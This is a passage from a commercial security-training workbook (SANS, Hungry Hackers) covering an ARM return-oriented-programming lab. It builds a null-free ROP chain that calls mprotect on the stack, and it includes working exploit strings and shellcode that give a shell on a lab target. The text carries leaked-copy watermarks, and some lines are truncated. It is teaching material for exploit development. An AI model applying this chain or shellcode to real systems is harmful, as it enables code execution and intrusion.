0xb6fff000 0xb7000000 0x1000 0x1a000 /usr/lib/arm-linux-gnueabihf/ld-2.31.so

© Hungry Hackers, LLC 197


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


0xbefdf000 0xbf000000 0x21000 0x0 [stack]
0xffff0000 0xffff1000 0x1000 0x0 [vectors]

Toward the end of the output we see the stack is mapped in at 0xbefdf000-0xbf000000. This is the memory range the

09b91222e5d2d3d668cf8e52ec5d35ba
process has designated for the stack. Since we saw our exploit buffer at 0xbefff400, we can confirm that it falls within
stack memory.

In order for mprotect to work, we must also specify the 2 nd paramter (size) as page aligned. We will use 0x20000 as our
size. This value doesn't have to be exact, we just need to provide a range that includes our shellcode.

Here is our updated mprotect rop goal:

micede1865@wii999_com
mprotect(0xbefff000, 0x20000, 7)

We can use python in a separate window to do some hex math.

nemo@hammerhead:~$ python
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
24356915
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xbefff000+0x20000)
'0xbf01f000'

If we successfully execute mprotect with the addresses shown above, all memory from 0xbefff000-0xbf01f000 will be
marked as executable. This will include the address where our exploit buffer starts 0xbefff400.

Paul Erwin
Now, we have a significant problem. Just like we had bad characters in shellcode, we can also have bad characters at
other places within our exploit.

In this challenge we are exploiting a strcpy, so any null bytes (0x00) in our input will cut our buffer short. Since we need
values that contain nulls for our mprotect parameters (0xbefff000, 0x00020000, 0x00000007), we will have to get creative
with our rop gadgets.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
 Note

Since this is a challenge, please feel free to move forward on your own without looking ahead. Please note that this challenge is
more complex and pushes a little further than what we have covered in class. However, it does follow the natural progression of
how rop can be useful in a real world scenario.

Searching for rop gadgets and avoiding bad characters


live
One of the things we can do to avoid having nulls in our exploit, is to use rop gadgets that add, subtract, or shift values in
our input.

198 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


For example, if we add 1 to 0xbeffefff, the result will be 0xbefff000. Since this is the first parameter for mprotect that we
want in r0, we can specify 0xbeffefff (no nulls) and look for a gadget that adds 1 to r0.

Since libc is a large shared object with lots of useful functions including mprotect, we will look for rop gadgets in this
09b91222e5d2d3d668cf8e52ec5d35ba
library. The ldd command confirms that rop_target uses libc.

nemo@mako:~/labs/rop$ ldd ./rop_target


linux-vdso.so.1 (0xb6ffd000)
libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xad3c5000)
/lib/ld-linux-armhf.so.3 (0xb6fd5000)

micede1865@wii999_com
The name of the libc file is /lib/arm-linux-gnueabihf/libc.so.6. If we look at this file with the ls -l command, we see that it is
a symbolic link to another file in the same directory.

nemo@mako:~/labs/rop$ ls -l /lib/arm-linux-gnueabihf/libc.so.6
lrwxrwxrwx 1 root root 12 Dec 16 06:04 /lib/arm-linux-gnueabihf/libc.so.6 -> libc-2.31.so
nemo@mako:~/labs/rop$ file /lib/arm-linux-gnueabihf/libc-2.31.so
/lib/arm-linux-gnueabihf/libc-2.31.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (GNU/Linux),

24356915
dynamically linked, interpreter /lib/ld-linux-armhf.so.3,
BuildID[sha1]=7f9588157c43de02a089d766fe7cc1a0fa70ed45, for GNU/Linux 3.2.0, stripped

Since /lib/arm-linux-gnueabihf/libc-2.31.so is the actual shared object file, we will look for rop gadgets in this file and not
the symbolic link.

To use rop gadgets from libc, we will need to know its base address in the running program. We can get this by using the

Paul Erwin
info proc map command in gdb and looking for the first instance of libc-2.31.so. This is the same command we used to
find the address mapping for the stack.

(gdb) info proc map


process 947
Mapped address spaces:

Start Addr End Addr Size Offset objfile

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK 0x400000
0x9f00000
0x9f10000
0x401000
0x9f01000
0x9f11000
0x1000
0x1000
0x1000
0x0
0x10000
0x10000
/home/nemo/labs/rop/rop_target
/home/nemo/labs/rop/rop_target
/home/nemo/labs/rop/rop_target
0x9f11000 0x9f12000 0x1000 0x11000 /home/nemo/labs/rop/rop_target
0xb6ed7000 0xb6fc0000 0xe9000 0x0 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fc0000 0xb6fcf000 0xf000 0xe9000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fcf000 0xb6fd1000 0x2000 0xe8000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fd1000 0xb6fd3000 0x2000 0xea000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fd3000
0xb6fd5000
0xb6ff9000
0xb6fd5000
0xb6fee000
0xb6ffb000
0x2000
0x19000
0x2000
live
0x0
0x0
0x0
/usr/lib/arm-linux-gnueabihf/ld-2.31.so

0xb6ffb000 0xb6ffc000 0x1000 0x0 [sigpage]


0xb6ffc000 0xb6ffd000 0x1000 0x0 [vvar]
0xb6ffd000 0xb6ffe000 0x1000 0x0 [vdso]
0xb6ffe000 0xb6fff000 0x1000 0x19000 /usr/lib/arm-linux-gnueabihf/ld-2.31.so
0xb6fff000 0xb7000000 0x1000 0x1a000 /usr/lib/arm-linux-gnueabihf/ld-2.31.so

© Hungry Hackers, LLC 199


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


0xbefdf000 0xbf000000 0x21000 0x0 [stack]
0xffff0000 0xffff1000 0x1000 0x0 [vectors]

We see the base address of libc (specifically, libc-2.31.so) in the running program is 0xb6ed7000. When we look for rop

09b91222e5d2d3d668cf8e52ec5d35ba
gadgets in libc-2.31.so, we will get their offsets that we will need to add to the base address in our actual exploit.

Let's look for a rop gadget that adds 1 to r0. This way we won't have to use a null byte to get 0xbefff000 in our input.

We will do this using ropper from the hammerhead vm. There is a copy of libc-2.31.so in the /home/nemo/labs/leak
folder. Since this is an exact copy of the shared object file used by rop_target, we can use it to find gadgets.

micede1865@wii999_com
In the hammerhead vm, open a new console window, start up the ropper interface, and load the shared object using the
file command.

nemo@hammerhead:~$ ropper

(ropper)> file /home/nemo/labs/leak/libc-2.31.so


[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(libc-2.31.so/ELF/ARMTHUMB)>
24356915
Review the help information for the search command.

(libc-2.31.so/ELF/ARMTHUMB)> help search

/quality/
Paul Erwin
search [/<quality>/] <string> - search gadgets.

The quality of the gadget (1 = best).The better the quality the less instructions are
between the found intruction and ret
? any character
% any string

Example:

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
search mov e?x

0x000067f1: mov edx, dword ptr [ebp + 0x14]; mov dword ptr [esp], edx; call eax;
0x00006d03: mov eax, esi; pop ebx; pop esi; pop edi; pop ebp; ret ;
0x00006d6f: mov ebx, esi; mov esi, dword ptr [esp + 0x18]; add esp, 0x1c; ret ;
0x000076f8: mov eax, dword ptr [eax]; mov byte ptr [eax + edx], 0; add esp, 0x18; pop ebx; ret ;

search mov [%], edx

0x000067ed:
call eax;
live
mov dword ptr [esp + 4], edx; mov edx, dword ptr [ebp + 0x14]; mov dword ptr [esp], edx;

0x00006f4e: mov dword ptr [ecx + 0x14], edx; add esp, 0x2c; pop ebx; pop esi; pop edi; pop ebp; ret ;
0x000084b8: mov dword ptr [eax], edx; ret ;
0x00008d9b: mov dword ptr [eax], edx; add esp, 0x18; pop ebx; ret ;

200 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


search /1/ mov [%], edx

0x000084b8: mov dword ptr [eax], edx; ret ;

09b91222e5d2d3d668cf8e52ec5d35ba
Now, to search for a rop gadget that adds 1 to r0, we will use the following command.

(libc-2.31.so/ELF/ARMTHUMB)> search /1/ add%r0%#1


[INFO] Searching for gadgets: add%r0%#1

[INFO] File: /home/nemo/labs/leak/libc-2.31.so


0x0009e57a (0x0009e57b): add.w r0, r4, r2, lsl #12; bx lr;
0x00039e0e (0x00039e0f): add.w r0, r4, r3, lsl #12; bx lr;

micede1865@wii999_com
0x0009fe00 (0x0009fe01): add.w r0, r4, r4, lsl
0x0005f6fc (0x0005f6fd): adds r0, #1; bx lr;
0x00033ac0 (0x00033ac1): adds r0, #1; pop {r4,
#12; bx lr;

pc};

The /1/ in this command tells ropper, that we only want to look at 1 instruction prior to the "return". The '%' characters are
wildcards that match any string.

24356915
Our result shows that we have a rop gadget that adds 1 to r0 at address 0x33ac0 and it is THUMB, so we need to add 1
when specifying this address in our exploit. If we switch back to our gdb session, we can verify this by examining the
instructions at the base of libc plus the offset of the rop gadget we just found.

(gdb) x/10i 0xb6ed7000+0x33ac0


0xb6f0aac0 <__xpg_basename+92>: adds r0, #1
0xb6f0aac2 <__xpg_basename+94>: pop {r4, pc}

Paul Erwin
If we can populate r0 with 0xbeffefff which has no nulls, we can then jump to 0xb6f0aac1 which will add 1 to 0xbeffefff
making it 0xbefff000. Again, this is needed because mprotect requires a page aligned address for the first parameter.

Let's review our goal.

mprotect(0xbefff000, 0x20000, 7)

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
We still need to populate the r0 register with a pop instruction, but first lets talk about how we will get the 7 into the 3 rd
parameter, r2.

To get the value 7 into r2, we can use a logical shift right or lsrs instruction. This instruction will shift bits in a register to
the right.

live
The s at the end of lsrs will update the carry flag. This does will not affect our rop chain.

This is where we begin to venture into territory that is beyond some of the things covered in class. If you aren't familiar
with shifting bits, see the website below.

Basically, if an address is 32 bits and we can shift right 24 bits, we will only use the first byte in the address. For example,
the address 0x07ffffff shifted right 24 bits will be 0x07. The f's get shifted to the right and "fall off" the end of the value.

© Hungry Hackers, LLC 201


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


https://www.keil.com/support/man/docs/armasm/armasm_dom1361289852998.htm

For our purposes, we can populate a register with 0x07ffffff and do a logical right shift of 24 (0x18) bits and get 0x07 as a
result. Lets search for this in ropper.
09b91222e5d2d3d668cf8e52ec5d35ba
(libc-2.31.so/ELF/ARMTHUMB)> search /1/ lsrs%r2%24
[INFO] Searching for gadgets: lsrs%r2%24

This search shows no results. Instead of 24, lets search for 0x18.

(libc-2.31.so/ELF/ARMTHUMB)> search /1/ lsrs%r2%0x18

micede1865@wii999_com
[INFO] Searching for gadgets: lsrs%r2%0x18

[INFO] File: /home/nemo/labs/leak/libc-2.31.so


0x00005fd2 (0x00005fd3): lsrs r2, r0, #0x18; pop {r0, r3, r4, r6, r7, pc};

Aha! We found a gadget that does a logical right shift of r0 and stores it in r2.

24356915
We need to first populate r0. Let's look for another rop gadget with a pop instruction that will populate r0.

Ideally, we would like to use gadgets that don't populate excess registers since this requires our exploit to be larger.

In the rop lab we used an instruction that we found using objdump. This rop gadget is not found by ropper. From the mako
vm, we can find this instruction using the following command.

nemo@mako:~$ objdump -d /lib/arm-linux-gnueabihf/libc-2.31.so | grep pop | grep {r0


5f3fc:
c0404:
e8bd8011
bdbd
Paul Erwin
pop {r0, r4, pc}
pop {r0, r2, r3, r4, r5, r7, pc}
c0488: bd39 pop {r0, r3, r4, r5, pc}
c0534: bca7 pop {r0, r1, r2, r5, r7}

The pop {r0, r4, pc} instruction at offset 0x5f3fc is an ARM instruction that doesn't populate a lot of excess registers.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
So, let's take a step back and look at where we are at. Consider the following instructions.

pop {r0, r4, pc}


lsrs r2, r0, #0x18; pop {r0, r3, r4, r6, r7, pc};
adds r0, #1
pop {r4, pc}

Since we control the stack with our overflow, we can populate r0 and r4. We don't care about r4, but we could populate r0
live
with 0x07ffffff which would get shifted to 0x07 and stored in r2.

The pop following the lsrs instruction will allow us to populate r0, r3, r4, r6, r7, and pc. Here, we could populate r0 with
0xbeffefff and call the next gadget which will add 1. This will give us 0xbefff000 in r0.

At this point, we are getting closer to our goal and r0 will hold 0xbefff000 and r2 will hold 7.

202 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Returning from mprotect

The mprotect function returns via a bx lr instruction. It does not pop a saved lr into pc. We will need to control the

09b91222e5d2d3d668cf8e52ec5d35ba
actual lr register to return from mprotect. To do this, we need a gadget that pops a value into lr.

If we search for "pop%lr" in ropper, we see some instructions that could give us a similar result, but we don't see any that
pop lr and pc in the same instruction. However, if we use the objdump command in the mako vm and grep for pop and lr,
we see the following instructions.

nemo@mako:~$ objdump -d /lib/arm-linux-gnueabihf/libc.so.6 | grep pop | grep lr


cbeb0:
cbf9c:
cc264:
micede1865@wii999_com
e8bd4630
e8bd4620
e8bd4628
pop {r4, r5, r9, sl, lr}
pop {r5, r9, sl, lr}
pop {r3, r5, r9, sl, lr}
cc274: e8bd4628 pop {r3, r5, r9, sl, lr}
cc2fc: e8bdd1f2 pop {r1, r4, r5, r6, r7, r8, ip, lr, pc}

We will use the instruction at offset 0xcc2fc (ARM) to populate both lr and pc. This instruction is not ideal because of all

24356915
the registers it populates, but it has the functionality we need to populate the link register. The ip register is another name
for r12.

Populating the size parameter

Another way to avoid nulls is by adding two register values together. For example, if we want to get the size parameter

Paul Erwin
0x20000 into into r1 without using nulls, we can try to find a rop gadget that adds two values and stores the result in r1.

When we search for this in ropper we will use "/2/", so that it will search 2 instructions up from the return instruction.

(libc-2.31.so/ELF/ARMTHUMB)> search /2/ add%r1


[INFO] Searching for gadgets: add%r1

[INFO] File: /home/nemo/labs/leak/libc-2.31.so

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
...
0x000c32b6 (0x000c32b7): add r1, r5; str r1, [r4, #0x14]; pop {r3, r4, r5, pc};
...

If we populate r1 with 0x0f0ff010 and r5 with 0xf0f20ff0 and then add them together the result will be 0x100020000. The
1 will be "rolled off" since this value is now too big to fit in a register. Notice that there are 9 values instead of 8 in the
result. Here is a python snippet showing our hex math.

nemo@hammerhead:~$ python
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
live
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x0f0ff010 + 0xf0f20ff0)
'0x100020000'

© Hungry Hackers, LLC 203


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Prior to using this gadget, we can populate r1 and r5 using the pop at the end of the previous gadget (pop {r1, r4, r5, r6, r7,
r8, ip, lr, pc}).

Also, since the add instruction is two instructions back from the return, we need to accomodate the second instruction in
09b91222e5d2d3d668cf8e52ec5d35ba
the gadget.

add r1, r5
str r1, [r4, #0x14]
pop {r3, r4, r5, pc}

If r4 does not hold a valid address, the program will crash when it tries to store a copy of r1 at that address. We need to

micede1865@wii999_com
populate r4-20 (0x14) with a value that is writeable and won't break our exploit if we store a copy of r1 at that location. To
do this, we can use an unused stack address. In our example we will use 0xbefe2110, but this address can vary as long as
it is writeable and will not break the exploit or crash the process. We can populate r4 using the previous rop gadget's pop.

Finding mprotect

24356915
Finding mprotect is a little more straightforward. In the mako vm, we can run the readelf command and grep for mprotect.

nemo@mako:~/labs/rop$ readelf -a /lib/arm-linux-gnueabihf/libc.so.6 | grep mprotect


905: 000a12fd 56 FUNC GLOBAL DEFAULT 14 pkey_mprotect@@GLIBC_2.27
1210: 0009e881 22 FUNC WEAK DEFAULT 14 mprotect@@GLIBC_2.4
1923: 0009e881 22 FUNC GLOBAL DEFAULT 14 __mprotect@@GLIBC_PRIVATE

The offset for mprotect is 0x9e881.


Paul Erwin
Now we have everything we need to call mprotect via rop and make the stack RWX.

Rop gadgets

Our goal is:

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
mprotect(0xbefff000, 0x200000, 7)

The following rop gadgets will be reviewed line-by-line:

pop {r0, r4, pc}


lsrs r2, r0, #0x18; pop {r0, r3, r4, r6, r7, pc};
adds
pop
pop
r0, #1
{r4, pc}
{r1, r4, r5, r6, r7, r8, ip, lr, pc}
live
add r1, r5
str r1, [r4, #20]
pop {r3,r4,r5, pc}

204 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


We already control execution and the values on the stack. Remember that we can't have any nulls in our input.

pop {r0, r4, pc}

09b91222e5d2d3d668cf8e52ec5d35ba
0x07ffffff will be popped into r0. We don't care about r4, we will just use "CCCC" as filler. The next gadget will be popped
into pc.

lsrs r2, r0, #0x18; pop {r0, r3, r4, r6, r7, pc};

r0 will be logically shifted right by 24 (0x18) bits and the result will be stored in r2. The result of shifting 0x07ffffff will

micede1865@wii999_com
store 0x07 into r2. This is the value we need as our 3 rd paramter for the call to mprotect. We will populate r0 with
0xbeffefff and the rest of the registers we don't care about except pc which will send us to our next gadget.

adds r0, #1
pop {r4, pc}

A 1 will be added to 0xbeffefff resulting in 0xbefff000 being stored in r0. This is the first parameter needed for our call to

24356915
mprotect and we did not have to send a null byte in our exploit. We don't care about the r4 register.

pop {r1, r4, r5, r6, r7, r8, ip, lr, pc}

In this gadget we populate r1 and r5 with values that will be added together to make 0x20000. We also populate r4 with an
address that, if you add 0x14 (20) will be writeable and will not break the exploit or the program if we store r1 there.

Paul Erwin
Also, we will populate lr with the address that mprotect will return to. This will be the address of our shellcode. If the call
to mprotect completes, the memory range we specified (which includes our shellcode) will be executable and we can
return there via the link register without tripping any memory protections.

At this point we have populated lr, but we have not called mprotect yet.

add r1, r5

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
str r1, [r4, #20]
pop {r3,r4,r5, pc}

The next gadget adds r1 and r5 and stores the result in r1 (0x0f0ff010 + 0xf0f20ff0). We then store a copy of that value in
r4+20. We don't care about this except for the fact that it must be executed since it comes between our add and the return
and we don't want to crash the program by writing to invalid memory or anything that might break our exploit. We don't
care about r3, r4, and r5.
live
We will then pop mprotect into pc and it will set RWX permissions on our shellcode, and once mprotect completes, it will
return to lr which we already populated with the address of our shellcode in the previous gadget. Our shellcode should
now execute and if successful, we will get a shell prompt.

© Hungry Hackers, LLC 205


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Building the rop chain

Now we are ready to create a working rop chain. To do this we need to combine the addresses of our gadgets with the

09b91222e5d2d3d668cf8e52ec5d35ba
"filler" needed for unused registers to ensure the alignment of our stack. Below are the gadgets with their respective
addresses. The base address of libc in our challenge is 0xb6ed7000.

gadget 1 (0xb6ed7000 + 0x5f3fc = 0xb6f363fc)


pop {r0, r4, pc}

gadget 2 (0xb6ed7000 + 0x5fd2 + 1 (THUMB) = 0xb6edcfd3)

micede1865@wii999_com
lsrs r2, r0, #0x18; pop {r0, r3, r4, r6, r7, pc};

gadget 3 (0xb6ed7000 + 0x33ac0 + 1 (THUMB) = 0xb6f0aac)


adds r0, #1
pop {r4, pc}

gadget 4 (0xb6ed7000 + 0xcc2fc = 0xb6fa32fc)


pop {r1, r4, r5, r6, r7, r8, ip, lr, pc}

24356915
gadget 5 (0xb6ed7000 + 0xc32cf = 0xb6f9a2cf)
add r1, r5
str r1, [r4, #20]
pop {r3, r4, r5, pc}

mprotect (0xb6ed7000 + 0x9e881 = 0xb6f75881)

Paul Erwin
Let's combine the addresses of our rop gadgets with "CCCC" as filler for registers that we do not care about. Since we
haven't determined the address of our shellcode yet, we will use 0x42424242. This will crash the program, but if we crash
at 0x42424242, we know that our exploit is correct up until the shellcode. When we gain control of execution by
overwriting the saved lr, will will go to gadget 1. This is the beginning of our rop chain.

ROP chain:

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0xb6f363fc
0x07ffffff
"CCCC"
//
//
//
address of gadget 1
r0
r4
0xb6edcfd3 // address of gadget 2
0xbeffefff // r0 (this is the first argument of mprotect-1)
"CCCC" // r3
"CCCC" // r4
"CCCC" // r5
"CCCC"
"CCCC"
0xb6f0aac1
//
//
//
r6
r7
address of gadget 3
live
"CCCC" // r4
0xb6fa32fc // address of gadget 4
0x0f0ff010 // r1 (will be combined with r5 to get 0x20000)
0xbefe2110 // r4 (this value +0x14 must be writeable)
0xf0f20ff0 // r5 (will be combined with r1 to get 0x20000)

206 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


"CCCC" // r6
"CCCC" // r7
"CCCC" // r8
"CCCC" // ip

09b91222e5d2d3d668cf8e52ec5d35ba
"BBBB"
0xb6f9a2cf
"CCCC"
//
//
//
address of our shellcode, for now it is 0x42424242 (crash)
address of gadget 5
r3
"CCCC" // r4
"CCCC" // r5
0xb6f75881 // address of mprotect

Crashing at 0x42424242
micede1865@wii999_com
If you still have your gdb session open, delete any existing breakpoints and set a breakpoint where the check_input
function returns. Your breakpoint numbers may vary.

(gdb) del
Delete all breakpoints? (y or n) y
(gdb) disas check_input

0x09f00110 <+0>: push {r7, lr}


0x09f00112 <+2>: sub sp, #72 ; 0x48
24356915
Dump of assembler code for function check_input:

0x09f00114 <+4>: add r7, sp, #0


0x09f00116 <+6>: str r0, [r7, #4]
0x09f00118 <+8>: add.w r3, r7, #8
0x09f0011c <+12>: ldr r1, [r7, #4]
0x09f0011e <+14>: mov r0, r3
0x09f00120 <+16>:
0x09f00124 <+20>:
0x09f00128 <+24>:
add.w Paul Erwin
blx 0x9f002a4 <__strcpy@@GLIBC_2.4_from_thumb>
r3, r7, #8
ldr r2, [pc, #28] ; (0x9f00148 <check_input+56>)
0x09f0012a <+26>: add r2, pc
0x09f0012c <+28>: mov r1, r2
0x09f0012e <+30>: mov r0, r3
0x09f00130 <+32>: blx 0x9f0028c <__strstr@@GLIBC_2.4_from_thumb>
0x09f00134 <+36>: mov r3, r0

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x09f00136 <+38>:
0x09f00138 <+40>:
0x09f0013a <+42>:
cmp r3, #0
beq.n
movs
0x9f0013e <check_input+46>
r3, #1
0x09f0013c <+44>: b.n 0x9f00140 <check_input+48>
0x09f0013e <+46>: movs r3, #0
0x09f00140 <+48>: mov r0, r3
0x09f00142 <+50>: adds r7, #72 ; 0x48
0x09f00144 <+52>: mov sp, r7
0x09f00146 <+54>: pop {r7, pc}
0x09f00148 <+56>:
End of assembler dump.
(gdb) b *0x9f00146
andeq r0, r0, r6, asr #3
live
Breakpoint 2 at 0x9f00146

We will deliver our exploit in gdb with shellcode added to the end in order to determine its location on the stack at runtime.
If successful, the shellcode will give us a shell prompt ($).

© Hungry Hackers, LLC 207


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6

In python, the "+ \" will allow our input to be continued on the next line.

09b91222e5d2d3d668cf8e52ec5d35ba
run $(python2 -c 'print "A"*68 + \
"\xfc\x63\xf3\xb6" +\
"\xff\xff\xff\x07" +\
"CCCC" + \
"\xd3\xcf\xed\xb6" +\
"\xff\xef\xff\xbe" +\
"CCCC" + \
"CCCC" + \
"CCCC" + \
"CCCC" + \
micede1865@wii999_com
"\xc1\xaa\xf0\xb6" +\
"CCCC" +\
"\xfc\x32\xfa\xb6" +\
"\x10\xf0\x0f\x0f" +\
"\x10\x21\xfe\xbe" +\
"\xf0\x0f\xf2\xf0" +\
"CCCC" +\
"CCCC" +\
"CCCC" +\
24356915
"CCCC" +\
"\x42\x42\x42\x42" +\
"\xcf\xa2\xf9\xb6" +\
"CCCC" +\
"CCCC" +\
"CCCC" +\
"\x81\x58\xf7\xb6" +\ Paul Erwin
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6

When you run the exploit in gdb, you may need to hit Ctl-c and then c to continue if gdb hangs.

(gdb) run $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6" +"\xff\xff\xff\x07" +"CCCC" +

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
"\xd3\xcf\xed\xb6" +"\xff\xef\xff\xbe" +"CCCC" + "CCCC" + "CCCC" + "CCCC" + "\xc1\xaa\xf0\xb6" +"CCCC"
+"\xfc\x32\xfa\xb6" +"\x10\xf0\x0f\x0f" +"\x10\x21\xfe\xbe" +"\xf0\x0f\xf2\xf0" +"CCCC" +"CCCC"
+"CCCC" +"CCCC" +"\x42\x42\x42\x42" +"\xcf\xa2\xf9\xb6" +"CCCC" +"CCCC" +"CCCC" +"\x81\x58\xf7\xb6"
+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs/rop/rop_target $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6"
+"\xff\xff\xff\x07" +"CCCC" + "\xd3\xcf\xed\xb6" +"\xff\xef\xff\xbe" +"CCCC" + "CCCC" + "CCCC" +
"CCCC" + "\xc1\xaa\xf0\xb6" +"CCCC" +"\xfc\x32\xfa\xb6" +"\x10\xf0\x0f\x0f" +"\x10\x21\xfe\xbe"

+"CCCC" +"CCCC" +"\x81\x58\xf7\xb6" live


+"\xf0\x0f\xf2\xf0" +"CCCC" +"CCCC" +"CCCC" +"CCCC" +"\x42\x42\x42\x42" +"\xcf\xa2\xf9\xb6" +"CCCC"

+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x
^C
Program received signal SIGINT, Interrupt.
0xb6fd81e4 in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.

208 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Breakpoint 2, 0x09f00146 in check_input ()
(gdb)

When you hit the breakpoint, look for your shellcode on the stack using the x command. The shellcode starts with 01 30 8f

09b91222e5d2d3d668cf8e52ec5d35ba
e2 or if you are looking for it in reverse byte order you will see 0xe28f3001.

(gdb) x/40wx $sp


0xbefff3d0: 0x41414141 0xb6f363fc 0x07ffffff 0x43434343
0xbefff3e0: 0xb6edcfd3 0xbeffefff 0x43434343 0x43434343
0xbefff3f0: 0x43434343 0x43434343 0xb6f0aac1 0x43434343
0xbefff400: 0xb6fa32fc 0x0f0ff010 0xbefe2110 0xf0f20ff0

micede1865@wii999_com
0xbefff410: 0x43434343
0xbefff420: 0x42424242
0xbefff430: 0x43434343
0x43434343
0xb6f9a2cf
0xb6f75881
0x43434343
0x43434343
0xe28f3001
0x43434343
0x43434343
0xe12fff13
0xbefff440: 0x300c4678 0x900146c0 0x1a921a49 0xdf01270b
0xbefff450: 0x6e69622f 0x0068732f 0x00000000 0x00000000
0xbefff460: 0x00000000 0x00000000 0x00000000 0x00000000

Here we see the shellcode at address 0xbefff438.

 Warning
24356915
The address of your shellcode may vary. Make sure to use the address of your shellcode when crafting the exploit.

Next, lets send the exploit and specify this address instead of 0x42424242. The lr register will be populated with our

Paul Erwin
shellcode address and when mprotect returns, it will jump to our shellcode. Lets give it a try.

If you continue execution in gdb, you should crash at address 0x42424242.

Successful exploitation in gdb using mprotect

First, delete all of your breakpoints and don't forget to hit Ctl-c and c if gdb hangs for both the target program and the
shell.

(gdb) del
Delete all breakpoints? (y or n) y
(gdb) run $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6" +"\xff\xff\xff\x07" +"CCCC" +
"\xd3\xcf\xed\xb6" +"\xff\xef\xff\xbe" +"CCCC" + "CCCC" + "CCCC" + "CCCC" + "\xc1\xaa\xf0\xb6" +"CCCC"
+"\xfc\x32\xfa\xb6" +"\x10\xf0\x0f\x0f" +"\x10\x21\xfe\xbe" +"\xf0\x0f\xf2\xf0" +"CCCC" +"CCCC"

live
+"CCCC" +"CCCC" +"\x38\xf4\xff\xbe" +"\xcf\xa2\xf9\xb6" +"CCCC" +"CCCC" +"CCCC" +"\x81\x58\xf7\xb6"
+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs/rop/rop_target $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6"
+"\xff\xff\xff\x07" +"CCCC" + "\xd3\xcf\xed\xb6" +"\xff\xef\xff\xbe" +"CCCC" + "CCCC" + "CCCC" +
"CCCC" + "\xc1\xaa\xf0\xb6" +"CCCC" +"\xfc\x32\xfa\xb6" +"\x10\xf0\x0f\x0f" +"\x10\x21\xfe\xbe"
+"\xf0\x0f\xf2\xf0" +"CCCC" +"CCCC" +"CCCC" +"CCCC" +"\x38\xf4\xff\xbe" +"\xcf\xa2\xf9\xb6" +"CCCC"

© Hungry Hackers, LLC 209


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


+"CCCC" +"CCCC" +"\x81\x58\xf7\xb6"
+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x
^C
Program received signal SIGINT, Interrupt.

09b91222e5d2d3d668cf8e52ec5d35ba
0xb6fe12d8 in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
process 4987 is executing new program: /usr/bin/dash
^C
Program received signal SIGINT, Interrupt.
0xb6fd81ee in ?? () from /lib/ld-linux-armhf.so.3
